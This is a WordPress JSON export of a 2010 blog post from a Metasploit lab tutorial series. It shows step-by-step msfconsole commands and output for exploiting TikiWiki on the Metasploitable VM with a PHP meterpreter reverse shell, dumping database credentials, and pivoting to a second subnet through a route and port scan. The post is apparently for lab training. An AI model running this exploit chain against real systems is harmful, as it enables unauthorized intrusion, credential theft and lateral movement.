{"id":19,"date":"2010-11-10T00:58:00","date_gmt":"2010-11-10T00:58:00","guid":{"rendered":"http:\/\/www.somethingsomethingsecurity.com\/?p=19"},"modified":"2010-11-10T00:58:00","modified_gmt":"2010-11-10T00:58:00","slug":"metasploit-on-the-edge-part-6-were-not-quite-done-yet","status":"publish","type":"post","link":"http:\/\/www.somethingsomethingsecurity.com\/?p=19","title":{"rendered":"Metasploit on the edge Part 6 &#8211; Were not quite done yet&#8230;"},"content":{"rendered":"<p>The following is based on my experiences and (limited) knowledge. I am not an expert in anything, nor will I likely ever be one. My hope is that this might help someone, somewhere, sometime. If nothing else, it might be a good start for discussion.<\/p>\n<p><strong>Preamble<\/strong><\/p>\n<p>This exercise is for educational use only, and is intended to be used in a lab environment, or as part of an authorized pentest. Please always ensure any scans or changes to systems are part of your pentest scope and comply with your rules of engagement.<\/p>\n<p>This exercise is going to demonstrate how to use an &#8220;external&#8221; web application exploit rather then a client exploit to get the initial toe hold and an introduction to the php meterpreter.<\/p>\n<p><strong>Requirements and Background<\/strong><br \/><strong><br \/><\/strong>Please review the previous posts. This exercise builds on some of the lessons learned.<\/p>\n<p><strong>Process<\/strong><br \/><strong><br \/><\/strong>We start this post assuming that you have already done your recon and discovery to find a vulnerability that can be exploited. (always do recon first!)<\/p>\n<p>This particular system has an vulnerability in the tikiwiki software. In fact, the server that we are exploiting (the metasploitable virtual machine available from metasploit.com) has multiple vulnerabilities.<\/p>\n<p>msf <span>use exploit\/unix\/webapp\/tikiwiki_graph_formula_exec<\/span><br \/>msf exploit(tikiwiki_graph_formula_exec) > <span>set rhost 10.13.37.245<\/span><br \/>msf exploit(tikiwiki_graph_formula_exec) > <span>set payload php\/meterpreter\/reverse_tcp<\/span><br \/>msf exploit(tikiwiki_graph_formula_exec) ><span> exploit<\/span><br \/>[*] Started reverse handler on 10.13.37.136:80<br \/>[*] Attempting to obtain database credentials&#8230;<br \/>[*] The server returned\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : 200 OK<br \/>[*] Server version\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 : Apache\/2.2.8 (Ubuntu) PHP\/5.2.4-2ubuntu5.10 with Suhosin-Patch<br \/>[*] TikiWiki database informations :<br \/>db_tiki\u00a0\u00a0 : mysql<br \/>dbversion : 1.9<br \/>host_tiki : localhost<br \/>user_tiki : root<br \/>pass_tiki : root<br \/>dbs_tiki\u00a0 : tikiwiki195<br \/>[*] Attempting to execute our payload&#8230;<br \/>[*] Sending stage (29389 bytes) to 10.13.37.245<br \/>[*] Meterpreter session 3 opened (10.13.37.136:80 -> 10.13.37.245:47584) at 2010-11-03 18:57:55 -0400<br \/><strong>Explanation<\/strong> &#8211; We set the exploit in Metasploit to use the tikiwiki graph exploit and used the php meterpreter payload. The php meterpreter is an amazing exploit, implementing many of the features of the standard meterpreter. See <a href=\"http:\/\/blog.metasploit.com\/2010\/06\/meterpreter-for-pwned-home-pages.html\">http:\/\/blog.metasploit.com\/2010\/06\/meterpreter-for-pwned-home-pages.html<\/a>\u00a0for details on what is possible using php meterpreter,<\/p>\n<p>Let&#8217;s see what we got<br \/>meterpreter > <span>sysinfo<\/span><br \/>Computer: metasploitable<br \/>OS\u00a0\u00a0\u00a0\u00a0\u00a0 : Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686<br \/>after some more looking around look what we find<br \/>meterpreter ><span> cat \/var\/lib\/dhcp3\/dhclient.leases<\/span><br \/>lease {<br \/>\u00a0 interface &#8220;eth1&#8221;;<br \/>\u00a0 fixed-address 10.2.2.130;<br \/>\u00a0 option subnet-mask 255.255.255.0;<br \/>\u00a0 option dhcp-lease-time 1800;<br \/>\u00a0 option dhcp-message-type 5;<br \/>\u00a0 option domain-name-servers 10.2.2.1;<br \/>\u00a0 option dhcp-server-identifier 10.2.2.254;<br \/>\u00a0 option broadcast-address 10.2.2.255;<br \/>\u00a0 option domain-name &#8220;localdomain&#8221;;<br \/>\u00a0 rebind 3 2010\/11\/3 23:34:00;<br \/>\u00a0 renew 3 2010\/11\/3 23:22:20;<br \/>\u00a0 expire 3 2010\/11\/3 23:37:45;<br \/>}<br \/>Excellent, there is second nic attached to a different NIC. <br \/>We can use the same route commands and scanners\u00a0as in part 3 to explore the new network<\/p>\n<p>meterpreter><span> <ctrl> <z><\/span><br \/>msf exploit(tikiwiki_graph_formula_exec) ><span> route add 10.2.2.0 255.255.255.0 4<\/span><br \/>msf exploit(tikiwiki_graph_formula_exec) > <span>use auxiliary\/scanner\/portscan\/tcp<\/span><br \/>msf auxiliary(tcp) > <span>set rhosts 10.2.2.130<\/span><br \/>msf auxiliary(tcp) ><span> show options<\/span><br \/>Module options:<br \/>\u00a0\u00a0 Name\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Current Setting\u00a0 Required\u00a0 Description<br \/>\u00a0\u00a0 &#8212;-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 &#8212;&#8212;&#8212;&#8212;&#8212;\u00a0 &#8212;&#8212;&#8211;\u00a0 &#8212;&#8212;&#8212;&#8211;<br \/>\u00a0\u00a0 CONCURRENCY\u00a0 10\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 The number of concurrent ports to check per host<br \/>\u00a0\u00a0 PORTS\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 1-10000\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Ports to scan (e.g. 22-25,80,110-900)<br \/>\u00a0\u00a0 RHOSTS\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 10.2.2.130\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 The target address range or CIDR identifier<br \/>\u00a0\u00a0 THREADS\u00a0\u00a0\u00a0\u00a0\u00a0 1\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 The number of concurrent threads<br \/>\u00a0\u00a0 TIMEOUT\u00a0\u00a0\u00a0\u00a0\u00a0 1000\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 yes\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 The socket connect timeout in milliseconds<br \/>\u00a0\u00a0 VERBOSE\u00a0\u00a0\u00a0\u00a0\u00a0 false\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 no\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Display verbose output<br \/>msf auxiliary(tcp) > <span>set ports 135-139,445<\/span><br \/>msf auxiliary(tcp) ><span> run<\/span> <br \/>[*] 10.2.2.129:135 &#8211; TCP OPEN<br \/>[*] 10.2.2.129:139 &#8211; TCP OPEN<br \/>[*] 10.2.2.129:445 &#8211; TCP OPEN<\/p>\n<p>Interesting note. In previous exercises, I\u00a0have typed exploit, not run. It\u00a0turns out proper protocol is to use run when your auxiliary tools, exploit for exploits, although for now, <span>exploit<\/span> is aliased to <span>run<\/span>. <\/p>\n<p>As before, we can now try some exploits against this new host, pivoting through the web server.<\/p>\n<p>The end&#8230;.again&#8230;..for now&#8230;.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The following is based on my experiences and (limited) knowledge. I am not an expert in anything, nor will I likely ever be one. My hope is that this might help someone, somewhere, sometime. If nothing else, it might be a good start for discussion. Preamble This exercise is for educational use only, and is [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,3],"tags":[],"class_list":["post-19","post","type-post","status-publish","format-standard","hentry","category-metasploit","category-red"],"_links":{"self":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts\/19","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19"}],"version-history":[{"count":0,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts\/19\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}